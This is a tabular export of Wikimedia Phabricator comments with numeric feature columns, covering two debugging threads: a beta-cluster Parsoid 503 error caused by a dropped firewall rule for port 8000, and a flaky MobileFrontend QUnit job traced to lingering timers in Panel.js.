digging...

URL removed the ferm rule from parsoid, because prod parsoid hosts don't have base::firewall included, and we thought we hada removed all vestiges of base::firewall from beta with T86143. However, it turns out that base::firewall is included by contint::firewall::labs which is included by role::ci::slave::labs::common, on parsoid as well as other *oid hosts on betalabs. So that commit actually broke them all, which is sad. To unify prod and beta again, we'll have to either: add base::firewall to parsoid hosts or remove them from beta. I'll discuss this inside ops and remember to keep track.

I've fixed this now by just adding a common ferm rule to all parsoid hosts opening up port 8000. I'm also adding monitoring now to all *oid hosts to make sure they are still accessible (T87063)"
401027,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Change 185607 merged by Yuvipanda:
parsoid: Open port 8000 with ferm rule

[[https://gerrit.wikimedia.org/r/185607]]",,,1421471718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.761904761904762,0.8571428571428571,"Change 185607 merged by Yuvipanda:
parsoid: Open port 8000 with ferm rule

[[GERRIT_URL]]"
401025,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Change 185607 had a related patch set uploaded (by Yuvipanda):
parsoid: Open port 8000 with ferm rule

[[https://gerrit.wikimedia.org/r/185607]]

#patch-for-review",,,1421471605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.5588235294117645,0.8529411764705882,"Change 185607 had a related patch set uploaded (by Yuvipanda):
parsoid: Open port 8000 with ferm rule

[[GERRIT_URL]]

#patch-for-review"
401020,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",I have temporarily reverted that change locally and things should work now. It looks like base::firewall is being included some how and I can't seem to find how exactly. Will investigate more in an hour or so,,,1421468261,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,20.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,10.0,8.0,8.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,8.0,10.0,2.0,0.0,0.0,0.0,8.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,4.3,0.9,I have temporarily reverted that change locally and things should work now. It looks like base::firewall is being included some how and I can't seem to find how exactly. Will investigate more in an hour or so
400886,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",Request to add monitoring of the Parsoid service on the beta cluster is T87063,,,1421443818,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.642857142857143,0.9285714285714286,Request to add monitoring of the Parsoid service on the beta cluster is T87063
400883,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","@akosiaris and @yuvipanda did the ferm cleanup earlier today, though it is unlikely they are still around at that time so one has to find someone catch up.  Maybe reverting the patch for now will be enough to reestablish the service.",,,1421443513,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0.0,2.0,0.0,0.0,0.0,7.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,7.0,5.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,4.431818181818182,0.9090909090909091,"SCREEN_NAME andSCREEN_NAME did the ferm cleanup earlier today, though it is unlikely they are still around at that time so one has to find someone catch up.  Maybe reverting the patch for now will be enough to reestablish the service."
400881,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","CAN WE PLEASE FILL NEW BUGS????? Thx :)


Heading to http://en.wikipedia.beta.wmflabs.org/wiki/1stdecemberchrome?veaction=edit

When saving an edit I get `parsoidserver-http: HTTP 503`

On deployment-parsoid05 it seems the service works just fine:

```
deployment-parsoid05$ curl http://localhost:8000/_version
{""name"":""parsoid"",""version"":""0.2.0-git"",""sha"":""2fdf9298e0f3bb9540487f53d87322d53c5bb539""}
$
```

Lets check what the Parsoid Varnish backend has to tell us:

```
deployment-parsoidcache02:~# varnishncsa  -n deployment-parsoidcache02
pass/503 419 POST http://parsoid/enwiki/1stdecemberchrome - - - 10.68.17.208, 10.68.17.208 -
```

It does relay to 10.68.17.208 ( deployment-parsoid05 ) but:

```
curl --location --verbose http://10.68.17.208:8000/enwiki/1stdecemberchrome
* Hostname was NOT found in DNS cache
*   Trying 10.68.17.208...
* connect to 10.68.17.208 port 8000 failed: Connection refused
* Failed to connect to 10.68.17.208 port 8000: Connection refused
* Closing connection 0
curl: (7) Failed to connect to 10.68.17.208 port 8000: Connection refused
```

The root cause is that some firewall rule that allowed port 8000 has been removed from deployment-parsoid05. It has iptables rules which default to DROP and thus the Varnish cache can't reach the service anymore.

In the puppet log run I found:

```
Info: Applying configuration version '1421415023'  # Fri, 16 Jan 2015 13:30:23 GMT
...
Info: /Stage[main]/Ferm/File[/etc/ferm/conf.d/10_http]: Filebucketed /etc/ferm/conf.d/10_http to puppet with sum 5818ac742d66525b53cd0d83c690a906
Notice: /Stage[main]/Ferm/File[/etc/ferm/conf.d/10_http]/ensure: removed
Info: /etc/ferm/conf.d: Scheduling refresh of Service[ferm]
Notice: /Stage[main]/Ferm/Service[ferm]: Triggered 'refresh' from 1 events
```

That most definitely dropped the rule that allowed port 8000.

10 minutes before, the change https://gerrit.wikimedia.org/r/#/c/185428/ got merged in. It cleanups the ferm rule from the parsoid host.",,,1421443278,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,8.0,0.0,22.0,3.0,0.0,8.0,0.0,1.0,0.0,0.0,1.0,1.0,3.0,0.0,5.0,6.0,4.0,6.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,3.0,0.0,1.0,0.0,3.8974358974358974,0.7564102564102564,"CAN WE PLEASE FILL NEW BUGS????? Thx :)


Heading to URL

When saving an edit I get CODE

On deployment-parsoid05 it seems the service works just fine:

``CODE`CODE`CODE`CODE`CODE`CODE`CODE``

That most definitely dropped the rule that allowed port 8000.

10 minutes before, the change URL got merged in. It cleanups the ferm rule from the parsoid host."
400879,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",Looks like this was caused by https://gerrit.wikimedia.org/r/#/c/185428/,,,1421443193,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Looks like this was caused by URL
400861,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","I didn't fix anything last time. I just did `service parsoid status` and showed that it was running. Then Krenair went away.

I think what happened was that the page they tested on was in parsoid's varnish cache, so everything looked hunky-dory. But if you try a random page, it didn't work.

Looking on [[ https://wikitech.wikimedia.org/wiki/Nova_Resource:I-000006d8.eqiad.wmflabs | wikitech ]], there doesn't seem to a private ip (which should be 10.68.16.120) assigned to deployment-parsoid05. I would think sorting that out would resolve the issue.",,,1421440294,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0.0,1.0,0.0,0.0,2.5,5.0,2.0,0.0,0.0,0.5,0.5,2.5,0.0,0.0,1.0,2.5,0.0,4.5,6.5,1.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.5,0.0,2.0,0.0,2.5,2.0,1.5,0.0,0.5,1.0,1.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.5,8.5,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,0.0,0.5,3.5,2.5,6.5,1.5,1.0,5.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,5.0,6.5,1.0,0.0,0.0,0.0,5.0,0.0,1.5,2.0,0.0,2.5,0.0,0.0,1.0,3.647314949201742,0.82855587808418,"I didn't fix anything last time. I just did CODE and showed that it was running. Then Krenair went away.

I think what happened was that the page they tested on was in parsoid's varnish cache, so everything looked hunky-dory. But if you try a random page, it didn't work.

Looking on [[ URL | wikitech ]], there doesn't seem to a private ip (which should be 10.68.16.120) assigned to deployment-parsoid05. I would think sorting that out would resolve the issue."
400800,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","I don't think it's the same issue:
```krenair@deployment-parsoid05:~$ service parsoid status
parsoid start/running, process 9861```",,,1421436519,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3125,0.8125,"I don't think it's the same issue:
``CODE``"
400779,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",">>! In T86951#980477, @Krenair wrote:
> Parsoid service on deployment-parsoid05 had stopped for some reason, @Arlolra fixed it

Seems to be broken again: what was the cause/resolution last time?",,,1421434772,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.9473684210526315,"QUOTE
QUOTE

Seems to be broken again: what was the cause/resolution last time?"
400775,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",and again.,,,1421434605,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,and again.
400309,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Parsoid service on deployment-parsoid05 had stopped for some reason, @Arlolra fixed it",,,1421357107,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,"Parsoid service on deployment-parsoid05 had stopped for some reason,SCREEN_NAME fixed it"
400307,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Parsoid service had stopped for some reason, @Arlolra fixed it",,,1421357095,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.090909090909091,1.0,"Parsoid service had stopped for some reason,SCREEN_NAME fixed it"
78590,"QUnit job unable to collect logs, test still has active http requests writing to them","Somteimes, MobileFrontens qunit job fails due to the following error:
20:11:02 ERROR: Failed to archive artifacts: log/*
20:11:02 java.io.IOException: java.util.concurrent.ExecutionException: java.io.IOException: request to write '2315' bytes exceeds size in header of '2262' bytes for entry 'log/mw-debug-www.log'

Examples:
https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8100/consoleFull
https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8078/consoleFull
https://integration.wikimedia.org/ci/job/mwext-MobileFrontend-qunit-mobile/8076/consoleFull

Jenkins is voting -2 and prevent from merging changes :( It seems to be not a problem of MobileFrontends codebase, or?",Unbreak Now!,100.0,1418675057,1419896163.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-hq65yorr4owyjbw4hokc,task_description,resolved,True,c3,1,True,False,True,-29,True,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,0.0,1.0,9.0,10.0,1.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,2.0,4.164948453608248,0.6907216494845361,"Somteimes, MobileFrontens qunit job fails due to the following error:
20:11:02 ERROR: Failed to archive artifacts: log/*
20:11:02 java.io.IOException: java.util.concurrent.ExecutionException: java.io.IOException: request to write '2315' bytes exceeds size in header of '2262' bytes for entry 'log/mw-debug-www.log'

Examples:
URL
URL
URL

Jenkins is voting -2 and prevent from merging changes :( It seems to be not a problem of MobileFrontends codebase, or?"
393855,"QUnit job unable to collect logs, test still has active http requests writing to them",We haven't seen this for a while. This might be related to T84922 or luck. Closing and will reopen if it resurfaces.,,,1419896163,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-27,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6538461538461537,0.9230769230769231,We haven't seen this for a while. This might be related to T84922 or luck. Closing and will reopen if it resurfaces.
392296,"QUnit job unable to collect logs, test still has active http requests writing to them",I suspect it might not be an ajax request but a JavaScript timeout somewhere that might be causing this issue.,,,1419292138,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,4.333333333333333,0.9047619047619048,I suspect it might not be an ajax request but a JavaScript timeout somewhere that might be causing this issue.
391384,"QUnit job unable to collect logs, test still has active http requests writing to them","I tried to figure out, what @Krinkle said.

What i did: I added a QUnit.done() callback on top of the test_Page.js (it should doesn't matter, in which test file it's added), which add a console.log with some test details and a timeline marker for Google chrome (console.timeStamp( 'QunitDone' );).

I run the test locally and looked at the timeline of chrome. There are a lot of things and somewhere near the end i had the QUnitDone event fired by a timer. So far, so good.

Now, i think that //can// be a/the problem: There are two timer events, which are fired //after// the QUnitDone event. Both comes from [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/javascripts/Panel.js#L57 | Panel.js on line 57 ]] which is a timeout to remove the visible class of the panel and emit the hide event.

The only modules, which extends Panel in some way i can remember is:
- Drawer: for which we have no tests, so i can't think, that this happens these events
- AbuseFilterPanel: same as Drawer, (unhappily) no tests for it
- WikiGrokDialog(B): For which we have tests ([[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/tests/qunit/modules/wikigrok/test_WikiGrokDialog.js | test_WikiGrokDialog.js ]] / [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/tests/qunit/modules/wikigrok/test_WikiGrokDialogB.js | test_WikiGrokDialogB.js ]]), but doesn't seem to be the problem, because Panel.hide is stubbed correctly.
- references drawer: extends Drawer, which extends Panel and there [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/master/tests/qunit/modules/references/test_init.js | are tests for it ]]

So i tested it again after i removed the complete test and run the same thing as described above. Without these test there isn't any fired events after the QUnitDone marker.

So, if i interpret it correctly (and didn't missed anything), we should extend references test case to stub self.hide() and match the QUnit requirements. Can someone confirm or refute it? :)",,,1418990372,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-hq65yorr4owyjbw4hokc,task_subcomment,,True,c3,1,True,,,-28,True,0.75,0.5,0.0,0.5,1.25,2.5,0.75,0.25,0.0,0.25,1.0,1.75,0.0,0.25,0.75,3.5,0.0,5.25,8.5,0.5,1.0,0.5,0.0,0.0,2.25,0.0,0.75,1.0,0.5,0.0,0.0,5.5,0.75,1.75,1.25,0.0,0.25,1.25,0.25,0.0,0.5,0.0,0.5,0.25,0.0,0.0,0.0,0.0,0.5,14.5,0.25,0.5,1.25,0.5,0.0,0.25,0.0,0.0,0.5,0.0,0.25,1.0,0.0,0.0,0.0,0.0,0.0,5.75,2.5,9.0,1.25,2.75,10.25,0.0,0.25,0.0,0.0,4.0,0.0,0.75,0.0,5.5,8.5,3.75,0.25,0.5,0.0,5.5,0.0,2.25,1.75,0.0,0.0,0.0,0.0,1.5,3.7300873907615477,0.6714419475655431,"I tried to figure out, whatSCREEN_NAME said.

What i did: I added a QUnit.done() callback on top of the test_Page.js (it should doesn't matter, in which test file it's added), which add a console.log with some test details and a timeline marker for Google chrome (console.timeStamp( 'QunitDone' );).

I run the test locally and looked at the timeline of chrome. There are a lot of things and somewhere near the end i had the QUnitDone event fired by a timer. So far, so good.

Now, i think that //can// be a/the problem: There are two timer events, which are fired //after// the QUnitDone event. Both comes from [[ URL | Panel.js on line 57 ]] which is a timeout to remove the visible class of the panel and emit the hide event.

The only modules, which extends Panel in some way i can remember is:
- Drawer: for which we have no tests, so i can't think, that this happens these events
- AbuseFilterPanel: same as Drawer, (unhappily) no tests for it
- WikiGrokDialog(B): For which we have tests ([[ URL | test_WikiGrokDialog.js ]] / [[ URL | test_WikiGrokDialogB.js ]]), but doesn't seem to be the problem, because Panel.hide is stubbed correctly.
- references drawer: extends Drawer, which extends Panel and there [[ URL | are tests for it ]]

So i tested it again after i removed the complete test and run the same thing as described above. Without these test there isn't any fired events after the QUnitDone marker.

So, if i interpret it correctly (and didn't missed anything), we should extend references test case to stub self.hide() and match the QUnit requirements. Can someone confirm or refute it? :)"
391343,"QUnit job unable to collect logs, test still has active http requests writing to them","I tried to figure out, what @Krinkle said.

What i did: I added a QUnit.done() callback on top of the test_Page.js (it should doesn't matter, in which test file it's added), which add a console.log with some test details and a timeline marker for Google chrome (console.timeStamp( 'QunitDone' );).

I run the test locally and looked at the timeline of chrome. There are a lot of things and somewhere near the end i had the QUnitDone event fired by a timer. So far, so good.

Now, i think that //can// be a/the problem: There are two timer events, which are fired //after// the QUnitDone event. Both comes from [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/javascripts/Panel.js#L57 | Panel.js on line 57 ]] which is a timeout to remove the visible class of the panel and emit the hide event.

The only modules, which extends Panel in some way i can remember is:
- Drawer: for which we have no tests, so i can't think, that this happens these events
- AbuseFilterPanel: same as Drawer, (unhappily) no tests for it
- WikiGrokDialog(B): For which we have tests ([[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/tests/qunit/modules/wikigrok/test_WikiGrokDialog.js | test_WikiGrokDialog.js ]] / [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/d0015ea458aa7744584551f4c09f56d02b2ac5e3/tests/qunit/modules/wikigrok/test_WikiGrokDialogB.js | test_WikiGrokDialogB.js ]]), but doesn't seem to be the problem, because Panel.hide is stubbed correctly.
- references drawer: extends Drawer, which extends Panel and there a[[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/master/tests/qunit/modules/references/test_init.js | re tests for it ]]

So i tested it again after i removed the complete test and run the same thing as described above. Without these test there isn't any fired events after the QUnitDone marker.

